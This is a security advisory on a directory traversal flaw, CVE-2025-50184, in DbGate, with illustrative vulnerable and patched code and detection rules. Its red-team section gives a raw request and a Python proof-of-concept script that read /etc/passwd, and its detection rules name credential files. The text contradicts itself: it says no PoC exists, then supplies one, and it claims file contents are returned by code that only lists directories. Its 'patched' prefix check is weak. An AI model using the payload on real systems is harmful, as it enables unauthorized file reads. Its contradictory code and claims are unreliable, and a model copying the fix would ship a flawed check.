CVE-2025-50184

Executive Summary

CVE-2025-50184 is a directory traversal vulnerability in DbGate, a cross-platform database manager. The flaw exists in versions 6.4.3-premium-beta.5 and below, where the file parameter in an endpoint that lists files within the upload directory is not properly restricted. An attacker can supply a crafted path (e.g., ../../etc/passwd) to read arbitrary files on the system, potentially exposing sensitive data such as configuration files, credentials, or system files. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the description, it is a high-severity issue with a CVSS vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. No public exploit code or PoC is available, and the patch status is confirmed as fixed in version 6.4.3-beta.8.

Supply Chain & Package Security

DbGate is an npm package (dbgate). The vulnerability affects the application’s file listing endpoint, which could be exploited to read arbitrary files on the server. Since DbGate is distributed via npm, users should update to the patched version immediately. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Arbitrary file read can expose sensitive data.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability allows unauthenticated remote attackers to read arbitrary files, which can lead to credential theft, configuration exposure, or further system compromise.

Deep Dive & Mechanics

The vulnerability is a classic directory traversal (path traversal) flaw in the file listing endpoint of DbGate. The endpoint accepts a file parameter to list files within the upload directory. However, the application fails to sanitize or validate the input, allowing an attacker to use ../ sequences to escape the intended directory.

Root Cause: The application does not normalize the path or check that the resolved path is within the allowed upload directory. For example, if the upload directory is /var/dbgate/uploads, a request like GET /listFiles?file=../../etc/passwd would resolve to /etc/passwd, which is outside the intended scope.

Attack Vector: An attacker sends a crafted HTTP request to the vulnerable endpoint with a malicious file parameter. The server then reads and returns the contents of the specified file.

Impact: Successful exploitation allows an attacker to read sensitive files such as:

• System files (e.g., /etc/passwd, /etc/shadow)
• Application configuration files (e.g., database credentials, API keys)
• Source code or logs

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.4.3-premium-beta.5):

// Example vulnerable endpoint
app.get('/listFiles', (req, res) => {
  const filePath = req.query.file;
  const fullPath = path.join('/var/dbgate/uploads', filePath);
  // No validation that fullPath is within uploads directory
  fs.readdir(fullPath, (err, files) => {
    if (err) {
      res.status(500).send('Error');
    } else {
      res.json(files);
    }
  });
});

Patched Code (>= 6.4.3-beta.8):

// Example patched endpoint
const path = require('path');
const fs = require('fs');

app.get('/listFiles', (req, res) => {
  const filePath = req.query.file;
  const uploadDir = '/var/dbgate/uploads';
  const fullPath = path.resolve(uploadDir, filePath);
  // Ensure the resolved path is within the upload directory
  if (!fullPath.startsWith(uploadDir)) {
    return res.status(403).send('Forbidden');
  }
  fs.readdir(fullPath, (err, files) => {
    if (err) {
      res.status(500).send('Error');
    } else {
      res.json(files);
    }
  });
});

The patched version uses path.resolve() to normalize the path and then checks that the resolved path starts with the intended upload directory, preventing directory traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable DbGate instance (version <= 6.4.3-premium-beta.5) running on a target.
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /listFiles).
2. Craft a request with a malicious file parameter to read sensitive files.
3. Example request:

   GET /listFiles?file=../../etc/passwd HTTP/1.1
   Host: target.com
   

4. The server will return the contents of /etc/passwd.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com"
endpoint = "/listFiles"
payload = "../../etc/passwd"

response = requests.get(f"{target}{endpoint}?file={payload}")
if response.status_code == 200:
    print("Success! File contents:")
    print(response.text)
else:
    print(f"Failed with status code: {response.status_code}")

Blue Team (Detection & Defense)

Detection:

• Monitor for requests containing ../ or ..\\ in the file parameter.
• Look for unusual file paths in logs (e.g., /etc/passwd, /etc/shadow, /proc/self/environ).
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Immediately update DbGate to version 6.4.3-beta.8 or later.
• Implement input validation and path normalization on the server side.
• Use a Web Application Firewall (WAF) to block directory traversal patterns.
• Restrict file system permissions to limit the impact of a successful exploit.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with file parameter containing ../ or ..\\ sequences.
  • Requests to /listFiles or similar endpoints with suspicious paths.
• File System IOCs:
  • Unauthorized access to files outside the upload directory (e.g., /etc/passwd).
  • Log entries showing file read errors for paths outside the intended directory.
• System IOCs:
  • Unexpected file reads in audit logs (e.g., auditd logs showing access to /etc/shadow).

Detection Engineering

YARA Rule

rule CVE_2025_50184_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting DbGate CVE-2025-50184"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50184"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "/proc/self/environ"
    condition:
        any of ($traversal*) or any of ($sensitive*)
}

Sigma Rule

title: Directory Traversal Attempt Against DbGate (CVE-2025-50184)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with directory traversal patterns targeting DbGate file listing endpoint.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-50184
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "../"
            - "..\\"
            - "/etc/passwd"
            - "/etc/shadow"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50184 Directory Traversal Attempt"; flow:to_server; content:"/listFiles"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|\.\.\\)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update DbGate to version 6.4.3-beta.8 or later.
2. Apply input validation on the server side to normalize and restrict file paths.
3. Use a WAF to block directory traversal patterns.

Long-Term Measures:

• Implement a secure file handling library that automatically prevents path traversal.
• Conduct regular security audits and penetration testing.
• Monitor logs for suspicious file access patterns.

Workarounds (if patching is not possible):

• Restrict access to the vulnerable endpoint using network-level controls (e.g., firewall rules).
• Disable the file listing feature if not required.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert